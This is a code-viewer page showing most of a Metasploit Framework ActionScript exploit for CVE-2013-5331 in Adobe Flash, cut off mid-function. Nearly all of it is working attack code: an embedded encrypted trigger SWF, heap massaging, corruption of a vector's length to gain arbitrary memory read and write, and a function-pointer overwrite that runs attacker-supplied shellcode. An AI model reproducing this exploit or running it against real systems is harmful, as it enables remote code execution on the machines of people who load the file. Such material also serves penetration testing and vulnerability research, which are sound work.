PageRenderTime 254ms CodeModel.GetById 31ms RepoModel.GetById 0ms app.codeStats 0ms

/external/source/exploits/CVE-2013-5331/Exploit.as

https://gitlab.com/alx741/metasploit-framework
ActionScript | 897 lines | 452 code | 40 blank | 405 comment | 71 complexity | df9b2d0d09317aed1f29a436f2f389ba MD5 | raw file
  1. //Compile: mxmlc.exe Exploit.as -o Exploit.swf
  2. package
  3. {
  4. import flash.display.Sprite;
  5. import flash.utils.ByteArray;
  6. import flash.net.LocalConnection;
  7. import flash.utils.Endian;
  8. import flash.net.FileReference;
  9. import __AS3__.vec.Vector;
  10. import flash.system.Capabilities;
  11. import flash.display.Loader;
  12. import flash.utils.setTimeout;
  13. import flash.display.LoaderInfo;
  14. public class Exploit extends Sprite
  15. {
  16. var number_massage_vectors:uint = 0x18000;
  17. var len_massage_vector:uint = 0x36;
  18. var maxElementsPerPage:uint = 0xe00012;
  19. var massage_array:Array;
  20. var tweaked_vector;
  21. var tweaked_vector_address;
  22. var done:Boolean = false;
  23. var receiver:LocalConnection;
  24. // Embedded trigger, ActionScript source available at the end of this file as code comment.
  25. var trigger_swf:String = "78da75565f4c9357144ff6b2cca7252ed91e966d2e2c35e0a605bc681d9f11a94f4b85745b05b2f0325c78d3651ad0173666d8941998a2d9f857a0aed8de425b4a59a1a520855908f4cf6de1d2967e03d9a2885127713a37d8b9f7fba0b0cc872fdc9eef777ee79cdf39dfb9343c2b0bf75c43d48cb36a08de5f41f07bb3e4b682128c1a435abf62b93b3f49f0a027fc15ea27e3c52ebd0fb9fbc5230e7b14fdd84f4b5c1db775d88e0b6c5e8abcce91125a3d52ea34f2df5a931e7f6ed3278a5d567f89c743cfba3a964a1d467f3eb5b5a0c1fea1bc25122872b8936a6a1f3a62b58bc864a7a57d7a5ce8edc5451686bb9cd4b9fbfdc7f0e5a1a2ee86d162ec4ca281c171d4e81e2a32b54ce699fa2327781c327ff4823159ea74b420b3939e6a68c067dbaa68becd33f122d5fbf35a2f2fa1ceb691bc3e63f4888724b58039eb218f0a1dee299d83dc2b7342dc2e27fea09d4ce69bc8bd7c13d466230b877b6d90437b5c6b3246510f19d675d68fe6f5da132c87f25e3bf09b71890be2eac944e160ad5c8b63a2a046aea7d7398c1cce1b857800170f905f8b06ec43a7fa3c37b403c6d1222799542f7947746ee74d84ddf7caee1251ebecc3fa0962406204231ae9449498b3a10fc26c40954de35d159a1016e25575fa3562c8146718a67b1da39c857e892166b3fcc7ef3af74b56b1334ed744b012fa898261ab3e460cca2bea2e148caf6dd30c612114c1e06746c0a58ca530d91c1304cc0a16c2525e7ba98c11c32c6617b3e5d0ad7e59dc2fbac6ce077d6a3312a3808d5bd2593e6233cbc750b6a8ee43416af6bf02be7497168904fb6904e68e983381ef8b45750f0a8a12f7ec7a3cc643d8b3099334fb19e6278659fe3f4c2d0ace5d47c104d7660f259da7d97b7191e5df0838c3011fcb57e4b9e7fad42e24ae6ee1c94d696ae69ade845e10625024898ca9572925fd0d399c2bb2c0b8d22edc673e1eae3dab2138c463bc7ddec7eced29fb18b7bf25d937eb34c8e3059a55efd0b843f9183410ef1864dd0dbb792cff6aa566060b237157fa28fbbdd1bb4ee89de15d5f93ea008d5bf75039d7e0d472868662616ca3be3a86dfe9535f871ed422da38688e9126c4e2fa78cdf674cd08e6feeee80b521fe23da7af32fe49f0abb675c7c8ab7ea845188bdc7c0edfb9ad7c707ed2a4ca84b330165065d108d444ee661c0ae11505e3fdc390c96b7bb89021d5e67d5e6dc0f19d90e0bc172b4699fd8141c17dff045f88f32ca07a5ffea6d013822b65db3e1ae9009ba9fce1b3e5375ca70e71bb3fc0f8be81f7b7f40962d81e9c9366e2ca14b39f17a6791c3dc46943c11593ac1f16462fd9d83cecdc9887fba93a57b9cfd71575c3ca6c3a8f19dfcb3cbf49ebe67385661a2b15e01bd9d0e56fa647b5426d84f71bb1784d639cf35bceffa079314d1dc2a729e359b1cadac3f9b17ce673743e5df25bd0cf810e945854ad5be3d42b980fd40b75e706a995eb31cdf5d00b11d003b8f6f998be49f85ef84c9d4bcdd4d3e56d0cbf1650e5d2788db0c2f793e14d9ec7eaea0ea9871ee8a143de1b96f5bd2148bd815e32ecc4ea0ebaeb1ae3cde1dccbedbbf9398ccb6baa273feab14f68cdffa476be62ae19701654d08a0fd2da89e23edb64316d8996e1b6d163de795cd2661d2ea0ec91ee844d7781a8c575f327a8c39fd7d8b2847ea85ad3e2ea645167c390ceabe73d423c9ff042dab8a60b6d27f20e851a673f69473484f70e13aca3640afd4554aad4aee8cc8e7f39a04f92ce9c6048de05c18533a5619c73959d09ef490edf8f33d652d0257316f634bccf0e80b689b061cfc7090c7bb8eb751a1e3ecaeebc6922ef04d0303e63a9bc2ae19487a759bc36fe5d49bba9bbe2f726952069db25506eb3f0fd31d7ccf613ef89f09b0ffb432cdf10cff9a5e971f80bf169eda3e32eeb2f3aaf537cadc1b40677ec8dc23b44bbef0ef42b46d2ced0182ef77a473e747937ddb183517667b347d29c24f2fb8c23796d1d7e761f9f6c6dc0851ee3dd932d70d75e70d2e32677e284c33ea1a69bb51866fbe1335e879cf3cfd304f209f6226ac7f0bfc745a411f1c6ac2542dd9f06d426a641b6bc0ff65e69cd8019b9b5b96fec9ce9eb87f99db140fdf03e3400b30d7d89bebd9fcd4cec29cee935c1fd4ddad7358459efce9c6dba25e12239592c5e94a47672bcf9fb4a4d5cdad9b1f5796896ef5ad8e571f62dc4eb77d04b90ebbffc1db134";
  26. var key:uint = 3.627461843E9;
  27. var shellcodeObj:Array;
  28. public function Exploit() {
  29. var trigger_decrypted:uint = 0;
  30. super();
  31. shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
  32. var i:* = 0;
  33. this.massage_array = new Array();
  34. // Memory massage
  35. i = 0;
  36. while(i < this.number_massage_vectors)
  37. {
  38. this.massage_array[i] = new Vector.<int>(1);
  39. i++;
  40. }
  41. i = 0;
  42. while(i < this.number_massage_vectors)
  43. {
  44. this.massage_array[i] = new Vector.<int>(this.len_massage_vector);
  45. this.massage_array[i][0] = 0x41414141;
  46. i++;
  47. }
  48. var j:* = 0;
  49. i = 0;
  50. while(i < this.number_massage_vectors)
  51. {
  52. j = 0;
  53. while(j < 32)
  54. {
  55. this.massage_array[i][j] = 0x41414141;
  56. j++;
  57. }
  58. i++;
  59. }
  60. var k:uint = (4096 - 32) / (this.len_massage_vector * 4 + 8);
  61. i = 65536 + 6;
  62. while(i < this.number_massage_vectors)
  63. {
  64. this.massage_array[i] = new Vector.<int>(this.len_massage_vector * 2);
  65. this.massage_array[i][0] = 0x42424242;
  66. i = i + k;
  67. }
  68. // Decompress/Decrypt trigger
  69. this.receiver = new LocalConnection();
  70. this.receiver.connect("toAS3");
  71. this.receiver.client = this;
  72. var trigger_byte_array:ByteArray = this.createByteArray(this.trigger_swf);
  73. trigger_byte_array.endian = Endian.LITTLE_ENDIAN;
  74. trigger_byte_array.uncompress();
  75. trigger_byte_array.position = 0;
  76. i = 0;
  77. while(i < trigger_byte_array.length / 4)
  78. {
  79. trigger_decrypted = trigger_byte_array.readUnsignedInt() ^ this.key;
  80. trigger_byte_array.position = trigger_byte_array.position - 4;
  81. trigger_byte_array.writeUnsignedInt(trigger_decrypted);
  82. i++;
  83. }
  84. trigger_byte_array.position = 0;
  85. // Trigger corruption
  86. var trigger_loader:Loader = new Loader();
  87. trigger_loader.loadBytes(trigger_byte_array);
  88. // Handler to check for corruption
  89. setTimeout(this.as2loaded,4000,[]);
  90. }
  91. function createByteArray(hex_string:String) : ByteArray {
  92. var byte:String = null;
  93. var byte_array:ByteArray = new ByteArray();
  94. var hex_string_length:uint = hex_string.length;
  95. var i:uint = 0;
  96. while(i < hex_string_length)
  97. {
  98. byte = hex_string.charAt(i) + hex_string.charAt(i + 1);
  99. byte_array.writeByte(parseInt(byte,16));
  100. i = i + 2;
  101. }
  102. return byte_array;
  103. }
  104. // When param1.length > 0 it's called from the corruption trigger
  105. // Else it's called because of the timeout trigger
  106. public function as2loaded(param1:Array) : * {
  107. var back_offset:* = undefined; // backward offset from the tweaked vector
  108. var j:* = undefined;
  109. var _loc15_:uint = 0;
  110. var ninbets:Array = null;
  111. var array_with_code:Array = null;
  112. var address_code:uint = 0;
  113. var _loc19_:uint = 0;
  114. if(this.done == true)
  115. {
  116. return;
  117. }
  118. if(param1.length > 0)
  119. {
  120. this.done = true;
  121. }
  122. var corrupted_index:uint = 0;
  123. var i:* = 0;
  124. i = 0x10000 + 6;
  125. // Search corrupted vector
  126. while(i < this.number_massage_vectors)
  127. {
  128. if(this.massage_array[i].length != 2 * this.len_massage_vector)
  129. {
  130. if(this.massage_array[i].length != this.len_massage_vector)
  131. {
  132. corrupted_index = i;
  133. this.massage_array[i][0] = 0x41424344;
  134. break;
  135. }
  136. }
  137. i++;
  138. }
  139. // throw Error if any vector has been corrupted
  140. if(i == this.number_massage_vectors)
  141. {
  142. throw new Error("not found");
  143. }
  144. else // start the magic...
  145. {
  146. // Tweak the length for the vector next to the corrupted one
  147. this.massage_array[corrupted_index][this.len_massage_vector] = 0x40000001;
  148. // Save the reference to the tweaked vector, it'll work with this one to leak and corrupt arbitrary memory
  149. this.tweaked_vector = this.massage_array[corrupted_index + 1];
  150. var offset_length = 0;
  151. // Ensure tweaked vector length corruption, I guess the offset to the vector length
  152. // changes between flash versions
  153. if(this.tweaked_vector.length != 0x40000001)
  154. {
  155. this.massage_array[corrupted_index][this.len_massage_vector + 10] = 0x40000001;
  156. offset_length = 10;
  157. }
  158. if(param1.length > 0) // From the corruption trigger
  159. {
  160. // Fix the massage array of vectors, restores the corrupted vector and
  161. // marks it as the last one.
  162. back_offset = (4 * (this.len_massage_vector + 2) - 100) / 4 + this.len_massage_vector + 2; // 87
  163. j = 0;
  164. /*
  165. tweaked_vector->prior->prior, some data is overwritten, is used for search purposes
  166. tweaked_vector[3fffffa7] = 0
  167. tweaked_vector[3fffffa8] = 0
  168. tweaked_vector[3fffffa9] = 1c0340
  169. tweaked_vector[3fffffaa] = ffffffff
  170. tweaked_vector[3fffffab] = 0
  171. tweaked_vector[3fffffac] = 0
  172. tweaked_vector[3fffffad] = 0
  173. tweaked_vector[3fffffae] = 0
  174. tweaked_vector[3fffffaf] = 0
  175. tweaked_vector[3fffffb0] = 0
  176. tweaked_vector[3fffffb1] = 0
  177. tweaked_vector[3fffffb2] = 100
  178. tweaked_vector[3fffffb3] = 0
  179. tweaked_vector[3fffffb4] = 0
  180. tweaked_vector[3fffffb5] = 0
  181. tweaked_vector[3fffffb6] = 0
  182. tweaked_vector[3fffffb7] = 100dddce
  183. tweaked_vector[3fffffb8] = 0
  184. tweaked_vector[3fffffb9] = 1df6000
  185. tweaked_vector[3fffffba] = 1dc2380
  186. tweaked_vector[3fffffbb] = 0
  187. tweaked_vector[3fffffbc] = 10000
  188. tweaked_vector[3fffffbd] = 70
  189. tweaked_vector[3fffffbe] = 0
  190. tweaked_vector[3fffffbf] = 4
  191. tweaked_vector[3fffffc0] = 0
  192. tweaked_vector[3fffffc1] = 1de7090
  193. tweaked_vector[3fffffc2] = 4
  194. tweaked_vector[3fffffc3] = 0
  195. tweaked_vector[3fffffc4] = 0
  196. tweaked_vector[3fffffc5] = 0
  197. // tweaked_vector->prior
  198. tweaked_vector[3fffffc6] = 36 // Length
  199. tweaked_vector[3fffffc7] = 1dea000
  200. tweaked_vector[3fffffc8] = 41414141
  201. tweaked_vector[3fffffc9] = 41414141
  202. tweaked_vector[3fffffca] = 41414141
  203. tweaked_vector[3fffffcb] = 41414141
  204. tweaked_vector[3fffffcc] = 41414141
  205. tweaked_vector[3fffffcd] = 41414141
  206. tweaked_vector[3fffffce] = 41414141
  207. tweaked_vector[3fffffcf] = 41414141
  208. tweaked_vector[3fffffd0] = 41414141
  209. tweaked_vector[3fffffd1] = 41414141
  210. tweaked_vector[3fffffd2] = 41414141
  211. tweaked_vector[3fffffd3] = 41414141
  212. tweaked_vector[3fffffd4] = 41414141
  213. tweaked_vector[3fffffd5] = 41414141
  214. tweaked_vector[3fffffd6] = 41414141
  215. tweaked_vector[3fffffd7] = 41414141
  216. tweaked_vector[3fffffd8] = 41414141
  217. tweaked_vector[3fffffd9] = 41414141
  218. tweaked_vector[3fffffda] = 41414141
  219. tweaked_vector[3fffffdb] = 41414141
  220. tweaked_vector[3fffffdc] = 41414141
  221. tweaked_vector[3fffffdd] = 41414141
  222. tweaked_vector[3fffffde] = 41414141
  223. tweaked_vector[3fffffdf] = 41414141
  224. tweaked_vector[3fffffe0] = 41414141
  225. tweaked_vector[3fffffe1] = 41414141
  226. tweaked_vector[3fffffe2] = 41414141
  227. tweaked_vector[3fffffe3] = 41414141
  228. tweaked_vector[3fffffe4] = 41414141
  229. tweaked_vector[3fffffe5] = 41414141
  230. tweaked_vector[3fffffe6] = 41414141
  231. tweaked_vector[3fffffe7] = 41414141
  232. tweaked_vector[3fffffe8] = 0
  233. tweaked_vector[3fffffe9] = 0
  234. tweaked_vector[3fffffea] = 0
  235. tweaked_vector[3fffffeb] = 0
  236. tweaked_vector[3fffffec] = 0
  237. tweaked_vector[3fffffed] = 0
  238. tweaked_vector[3fffffee] = 0
  239. tweaked_vector[3fffffef] = 0
  240. tweaked_vector[3ffffff0] = 0
  241. tweaked_vector[3ffffff1] = 0
  242. tweaked_vector[3ffffff2] = 0
  243. tweaked_vector[3ffffff3] = 0
  244. tweaked_vector[3ffffff4] = 0
  245. tweaked_vector[3ffffff5] = 0
  246. tweaked_vector[3ffffff6] = 0
  247. tweaked_vector[3ffffff7] = 0
  248. tweaked_vector[3ffffff8] = 0
  249. tweaked_vector[3ffffff9] = 0
  250. tweaked_vector[3ffffffa] = 0
  251. tweaked_vector[3ffffffb] = 0
  252. tweaked_vector[3ffffffc] = 0
  253. tweaked_vector[3ffffffd] = 0
  254. */
  255. while(j < back_offset)
  256. {
  257. this.tweaked_vector[0x40000000 - back_offset - 2 + j - offset_length] = param1[j];
  258. j++;
  259. }
  260. // tweaked_vector[3fffffff] = 1dea000 // Restores tweaked vector metadata
  261. this.tweaked_vector[0x40000000-1] = param1[back_offset + 1];
  262. j = back_offset + 2;
  263. // Modifies the tweaked vector content, and overflow the next ones, they just remain in good state:
  264. /*
  265. // tweaked vector content
  266. tweaked_vector[0] = 41414141
  267. tweaked_vector[1] = 41414141
  268. tweaked_vector[2] = 41414141
  269. tweaked_vector[3] = 41414141
  270. tweaked_vector[4] = 41414141
  271. tweaked_vector[5] = 41414141
  272. tweaked_vector[6] = 41414141
  273. tweaked_vector[7] = 41414141
  274. tweaked_vector[8] = 41414141
  275. tweaked_vector[9] = 41414141
  276. tweaked_vector[a] = 41414141
  277. tweaked_vector[b] = 41414141
  278. tweaked_vector[c] = 41414141
  279. tweaked_vector[d] = 41414141
  280. tweaked_vector[e] = 41414141
  281. tweaked_vector[f] = 41414141
  282. tweaked_vector[10] = 41414141
  283. tweaked_vector[11] = 41414141
  284. tweaked_vector[12] = 41414141
  285. tweaked_vector[13] = 41414141
  286. tweaked_vector[14] = 41414141
  287. tweaked_vector[15] = 41414141
  288. tweaked_vector[16] = 41414141
  289. tweaked_vector[17] = 41414141
  290. tweaked_vector[18] = 41414141
  291. tweaked_vector[19] = 41414141
  292. tweaked_vector[1a] = 41414141
  293. tweaked_vector[1b] = 41414141
  294. tweaked_vector[1c] = 41414141
  295. tweaked_vector[1d] = 41414141
  296. tweaked_vector[1e] = 41414141
  297. tweaked_vector[1f] = 41414141
  298. tweaked_vector[20] = 0
  299. tweaked_vector[21] = 0
  300. tweaked_vector[22] = 0
  301. tweaked_vector[23] = 0
  302. tweaked_vector[24] = 0
  303. tweaked_vector[25] = 0
  304. tweaked_vector[26] = 0
  305. tweaked_vector[27] = 0
  306. tweaked_vector[28] = 0
  307. tweaked_vector[29] = 0
  308. tweaked_vector[2a] = 0
  309. tweaked_vector[2b] = 0
  310. tweaked_vector[2c] = 0
  311. tweaked_vector[2d] = 0
  312. tweaked_vector[2e] = 0
  313. tweaked_vector[2f] = 0
  314. tweaked_vector[30] = 0
  315. tweaked_vector[31] = 0
  316. tweaked_vector[32] = 0
  317. tweaked_vector[33] = 0
  318. tweaked_vector[34] = 0
  319. tweaked_vector[35] = 0
  320. // next to the tweaked vector
  321. tweaked_vector[36] = 36
  322. tweaked_vector[37] = 1dea000
  323. tweaked_vector[38] = 41414141
  324. tweaked_vector[39] = 41414141
  325. tweaked_vector[3a] = 41414141
  326. tweaked_vector[3b] = 41414141
  327. tweaked_vector[3c] = 41414141
  328. tweaked_vector[3d] = 41414141
  329. tweaked_vector[3e] = 41414141
  330. tweaked_vector[3f] = 41414141
  331. tweaked_vector[40] = 41414141
  332. tweaked_vector[41] = 41414141
  333. tweaked_vector[42] = 41414141
  334. tweaked_vector[43] = 41414141
  335. tweaked_vector[44] = 41414141
  336. tweaked_vector[45] = 41414141
  337. tweaked_vector[46] = 41414141
  338. tweaked_vector[47] = 41414141
  339. tweaked_vector[48] = 41414141
  340. tweaked_vector[49] = 41414141
  341. tweaked_vector[4a] = 41414141
  342. tweaked_vector[4b] = 41414141
  343. tweaked_vector[4c] = 41414141
  344. tweaked_vector[4d] = 41414141
  345. tweaked_vector[4e] = 41414141
  346. tweaked_vector[4f] = 41414141
  347. tweaked_vector[50] = 41414141
  348. tweaked_vector[51] = 41414141
  349. tweaked_vector[52] = 41414141
  350. tweaked_vector[53] = 41414141
  351. tweaked_vector[54] = 41414141
  352. tweaked_vector[55] = 41414141
  353. tweaked_vector[56] = 41414141
  354. tweaked_vector[57] = 41414141
  355. tweaked_vector[58] = 0
  356. tweaked_vector[59] = 0
  357. tweaked_vector[5a] = 0
  358. tweaked_vector[5b] = 0
  359. tweaked_vector[5c] = 0
  360. tweaked_vector[5d] = 0
  361. tweaked_vector[5e] = 0
  362. tweaked_vector[5f] = 0
  363. tweaked_vector[60] = 0
  364. tweaked_vector[61] = 0
  365. tweaked_vector[62] = 0
  366. tweaked_vector[63] = 0
  367. tweaked_vector[64] = 0
  368. tweaked_vector[65] = 0
  369. tweaked_vector[66] = 0
  370. tweaked_vector[67] = 0
  371. tweaked_vector[68] = 0
  372. tweaked_vector[69] = 0
  373. tweaked_vector[6a] = 0
  374. tweaked_vector[6b] = 0
  375. tweaked_vector[6c] = 0
  376. tweaked_vector[6d] = 0
  377. // next -> next to the tweaked vector
  378. tweaked_vector[6e] = 36
  379. tweaked_vector[6f] = 1dea000
  380. tweaked_vector[70] = 41414141
  381. tweaked_vector[71] = 41414141
  382. tweaked_vector[72] = 41414141
  383. tweaked_vector[73] = 41414141
  384. tweaked_vector[74] = 41414141
  385. tweaked_vector[75] = 41414141
  386. tweaked_vector[76] = 41414141
  387. tweaked_vector[77] = 41414141
  388. tweaked_vector[78] = 41414141
  389. tweaked_vector[79] = 41414141
  390. tweaked_vector[7a] = 41414141
  391. tweaked_vector[7b] = 41414141
  392. tweaked_vector[7c] = 41414141
  393. tweaked_vector[7d] = 41414141
  394. tweaked_vector[7e] = 41414141
  395. tweaked_vector[7f] = 41414141
  396. tweaked_vector[80] = 41414141
  397. tweaked_vector[81] = 41414141
  398. tweaked_vector[82] = 41414141
  399. tweaked_vector[83] = 41414141
  400. tweaked_vector[84] = 41414141
  401. tweaked_vector[85] = 41414141
  402. tweaked_vector[86] = 41414141
  403. tweaked_vector[87] = 41414141
  404. tweaked_vector[88] = 41414141
  405. tweaked_vector[89] = 41414141
  406. tweaked_vector[8a] = 41414141
  407. tweaked_vector[8b] = 41414141
  408. tweaked_vector[8c] = 41414141
  409. tweaked_vector[8d] = 41414141
  410. tweaked_vector[8e] = 41414141
  411. tweaked_vector[8f] = 41414141
  412. tweaked_vector[90] = 0
  413. tweaked_vector[91] = 0
  414. tweaked_vector[92] = 0
  415. tweaked_vector[93] = 0
  416. tweaked_vector[94] = 0
  417. tweaked_vector[95] = 0
  418. tweaked_vector[96] = 0
  419. tweaked_vector[97] = 0
  420. tweaked_vector[98] = 0
  421. tweaked_vector[99] = 0
  422. tweaked_vector[9a] = 0
  423. tweaked_vector[9b] = 0
  424. tweaked_vector[9c] = 0
  425. tweaked_vector[9d] = 0
  426. tweaked_vector[9e] = 0
  427. tweaked_vector[9f] = 0
  428. tweaked_vector[a0] = 0
  429. tweaked_vector[a1] = 0
  430. tweaked_vector[a2] = 0
  431. tweaked_vector[a3] = 0
  432. tweaked_vector[a4] = 0
  433. tweaked_vector[a5] = 0
  434. */
  435. while(j < param1.length)
  436. {
  437. this.tweaked_vector[j - (back_offset + 2) + offset_length] = param1[j];
  438. j++;
  439. }
  440. // next -> next to the tweaked vector
  441. // tweaked_vector[a6] = 36
  442. // tweaked_vector[a7] = 1dea000
  443. this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + offset_length] = param1[back_offset]; // [166] => 36
  444. this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + 1 + offset_length] = param1[back_offset + 1]; //[167] => 1dea000
  445. }
  446. else // From the Timeout trigger; never reached on my tests.
  447. {
  448. _loc15_ = this.tweaked_vector[4 * (this.len_massage_vector + 2)-1];
  449. this.tweaked_vector[0x3fffffff] = _loc15_;
  450. this.tweaked_vector[0x3fffffff - this.len_massage_vector - 2] = _loc15_;
  451. this.tweaked_vector[0x3fffffff - this.len_massage_vector - 3] = this.len_massage_vector;
  452. this.tweaked_vector[this.len_massage_vector + 1] = _loc15_;
  453. this.tweaked_vector[2 * (this.len_massage_vector + 2)-1] = _loc15_;
  454. this.tweaked_vector[3 * (this.len_massage_vector + 2)-1] = _loc15_;
  455. this.tweaked_vector[this.len_massage_vector] = this.len_massage_vector;
  456. this.tweaked_vector[2 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector;
  457. this.tweaked_vector[3 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector;
  458. }
  459. this.massage_array[corrupted_index].length = 256; // :?
  460. // Search backwards to find the massage array metadata
  461. // It's used to disclose the tweaked vector address
  462. i = 0;
  463. var hint = 0;
  464. while(true)
  465. {
  466. hint = this.tweaked_vector[0x40000000 - i];
  467. if(hint == this.maxElementsPerPage-1) // 0xe00012 - 1
  468. {
  469. break;
  470. }
  471. i++;
  472. }
  473. this.tweaked_vector_address = 0;
  474. if(this.tweaked_vector[0x40000000 - i - 4] == 0)
  475. {
  476. throw new Error("error");
  477. }
  478. else
  479. {
  480. this.tweaked_vector_address = this.tweaked_vector[0x40000000 - i - 4] + (4 * this.len_massage_vector + 8) + 8 + 4 * offset_length;
  481. // I have not been able to understand this tweak,
  482. // Maybe not necessary at all...
  483. i = 0;
  484. hint = 0;
  485. while(true)
  486. {
  487. hint = this.tweaked_vector[0x40000000 - i];
  488. if(hint == 0x7e3f0004)
  489. {
  490. break;
  491. }
  492. i++;
  493. }
  494. this.tweaked_vector[0x40000000 - i + 1] = 4.294967295E9; // -1 / 0xffffffff
  495. // End of maybe not necessary tweak
  496. var file_ref_array = new Array();
  497. i = 0;
  498. while(i < 64)
  499. {
  500. file_ref_array[i] = new FileReference();
  501. i++;
  502. }
  503. var file_reference_address = this.getFileReferenceLocation(this.tweaked_vector, this.tweaked_vector_address);
  504. var ptr_backup = this.getMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32);
  505. // Get array related data, important to trigger the desired corruption to achieve command execution
  506. ninbets = this.getNinbets(this.tweaked_vector,this.tweaked_vector_address);
  507. array_with_code = this.createCodeVectors(0x45454545, 0x90909090);
  508. address_code = this.getCodeAddress(this.tweaked_vector, this.tweaked_vector_address, 0x45454545);
  509. this.fillCodeVectors(array_with_code, address_code);
  510. this.tweaked_vector[7] = ninbets[0] + 0;
  511. this.tweaked_vector[4] = ninbets[1];
  512. this.tweaked_vector[0] = 4096;
  513. this.tweaked_vector[1] = address_code & 0xfffff000;
  514. // Corruption
  515. this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, this.tweaked_vector_address + 8);
  516. // Get arbitrary execution
  517. i = 0;
  518. while(i < 64)
  519. {
  520. file_ref_array[i].cancel();
  521. i++;
  522. }
  523. this.tweaked_vector[7] = address_code;
  524. i = 0;
  525. while(i < 64)
  526. {
  527. file_ref_array[i].cancel();
  528. i++;
  529. }
  530. // Restore Function Pointer
  531. this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, ptr_backup);
  532. return;
  533. }
  534. }
  535. }
  536. // vector: tweaked vector with 0x40000001 length
  537. // vector_address: address of tweaked vector
  538. // address: address to read
  539. function getMemoryAt(vector:Vector.<int>, vector_address:uint, address:uint) : uint {
  540. if(address >= vector_address)
  541. {
  542. return vector[(address - vector_address) / 4];
  543. }
  544. return vector[0x40000000 - (vector_address - address) / 4];
  545. }
  546. // vector: tweaked vector with 0x40000001 length
  547. // vector_address: address of tweaked vector
  548. // address: address to write
  549. // value: value to write
  550. function writeMemoryAt(vector:Vector.<int>, vector_address:uint, address:uint, value:uint) : * {
  551. if(address >= vector_address)
  552. {
  553. vector[(address - vector_address) / 4] = value;
  554. }
  555. else
  556. {
  557. vector[0x40000000 - (vector_address - address) / 4] = value;
  558. }
  559. }
  560. function getNinbets(vector:*, vector_address:*) : Array {
  561. var _loc9_:uint = 0;
  562. var array_related_addr:uint = this.getMemoryAt(vector,vector_address,(vector_address & 0xfffff000) + 0x1c);
  563. var index_array_related_addr:uint = 0;
  564. var _loc5_:uint = 0;
  565. var _loc6_:uint = 0;
  566. if(array_related_addr >= vector_address)
  567. {
  568. index_array_related_addr = (array_related_addr - vector_address) / 4;
  569. }
  570. else
  571. {
  572. index_array_related_addr = 0x40000000 - (vector_address - array_related_addr) / 4;
  573. }
  574. var _loc7_:uint = 0;
  575. while(true)
  576. {
  577. index_array_related_addr--;
  578. _loc9_ = vector[index_array_related_addr];
  579. if(_loc9_ == 0xfff870ff)
  580. {
  581. _loc7_ = 2;
  582. break;
  583. }
  584. if(_loc9_ == 0xf870ff01)
  585. {
  586. _loc7_ = 1;
  587. break;
  588. }
  589. if(_loc9_ == 0x70ff016a)
  590. {
  591. _loc9_ = vector[index_array_related_addr + 1];
  592. if(_loc9_ == 0xfc70fff8)
  593. {
  594. _loc7_ = 0;
  595. break;
  596. }
  597. }
  598. else
  599. {
  600. if(_loc9_ == 0x70fff870)
  601. {
  602. _loc7_ = 3;
  603. break;
  604. }
  605. }
  606. }
  607. _loc5_ = vector_address + 4 * index_array_related_addr - _loc7_;
  608. index_array_related_addr--;
  609. var _loc8_:uint = vector[index_array_related_addr];
  610. if(_loc8_ == 0x16a0424)
  611. {
  612. return [_loc5_,_loc6_];
  613. }
  614. if(_loc8_ == 0x6a042444)
  615. {
  616. return [_loc5_,_loc6_];
  617. }
  618. if(_loc8_ == 0x424448b)
  619. {
  620. return [_loc5_,_loc6_];
  621. }
  622. if(_loc8_ == 0xff016a04)
  623. {
  624. return [_loc5_,_loc6_];
  625. }
  626. _loc6_ = _loc5_ - 6;
  627. while(true)
  628. {
  629. index_array_related_addr--;
  630. _loc9_ = vector[index_array_related_addr];
  631. if(_loc9_ == 0x850ff50)
  632. {
  633. if(uint(vector[index_array_related_addr + 1]) == 0x5e0cc483)
  634. {
  635. _loc7_ = 0;
  636. break;
  637. }
  638. }
  639. _loc9_ = _loc9_ & 0xffffff00;
  640. if(_loc9_ == 0x50ff5000)
  641. {
  642. if(uint(vector[index_array_related_addr + 1]) == 0xcc48308)
  643. {
  644. _loc7_ = 1;
  645. break;
  646. }
  647. }
  648. _loc9_ = _loc9_ & 0xffff0000;
  649. if(_loc9_ == 0xff500000)
  650. {
  651. if(uint(vector[index_array_related_addr + 1]) == 0xc4830850)
  652. {
  653. if(uint(vector[index_array_related_addr + 2]) == 0xc35d5e0c)
  654. {
  655. _loc7_ = 2;
  656. break;
  657. }
  658. }
  659. }
  660. _loc9_ = _loc9_ & 0xff000000;
  661. if(_loc9_ == 0x50000000)
  662. {
  663. if(uint(vector[index_array_related_addr + 1]) == 0x830850ff)
  664. {
  665. if(uint(vector[index_array_related_addr + 2]) == 0x5d5e0cc4)
  666. {
  667. _loc7_ = 3;
  668. break;
  669. }
  670. }
  671. }
  672. }
  673. _loc5_ = vector_address + 4 * index_array_related_addr + _loc7_;
  674. return [_loc5_,_loc6_];
  675. }
  676. // vector: tweaked vector with 0x40000001 length
  677. // address: address of tweaked vector
  678. function getFileReferenceLocation(vector:*, address:*) : uint {
  679. var flash_address:uint = this.getMemoryAt(vector,address,(address & 0xfffff000) + 28);
  680. var _loc4_:uint = 0;
  681. while(true)
  682. {
  683. _loc4_ = this.getMemoryAt(vector,address,flash_address + 8);
  684. if(_loc4_ == 0x2a0)
  685. {
  686. break;
  687. }
  688. if(_loc4_ < 0x2a0)
  689. {
  690. flash_address = flash_address + 36;
  691. }
  692. else
  693. {
  694. flash_address = flash_address - 36;
  695. }
  696. }
  697. var file_ref_related_addr:uint = this.getMemoryAt(vector,address,flash_address + 12);
  698. while(this.getMemoryAt(vector,address, file_ref_related_addr + 384) != 0xffffffff)
  699. {
  700. if(this.getMemoryAt(vector,address, file_ref_related_addr + 380) == 0xffffffff)
  701. {
  702. break;
  703. }
  704. file_ref_related_addr = this.getMemoryAt(vector, address, file_ref_related_addr + 8);
  705. }
  706. return file_ref_related_addr;
  707. }
  708. function getCodeAddress(vector:*, vector_addr:*, mark:*) : uint {
  709. var vector_length_read:uint = 0;
  710. var vector_code_info_addr:uint = this.getMemoryAt(vector, vector_addr,(vector_addr & 0xfffff000) + 0x1c);
  711. while(true)
  712. {
  713. vector_length_read = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 8);
  714. if(vector_length_read == 2032) // code vector length
  715. {
  716. break;
  717. }
  718. vector_code_info_addr = vector_code_info_addr + 0x24;
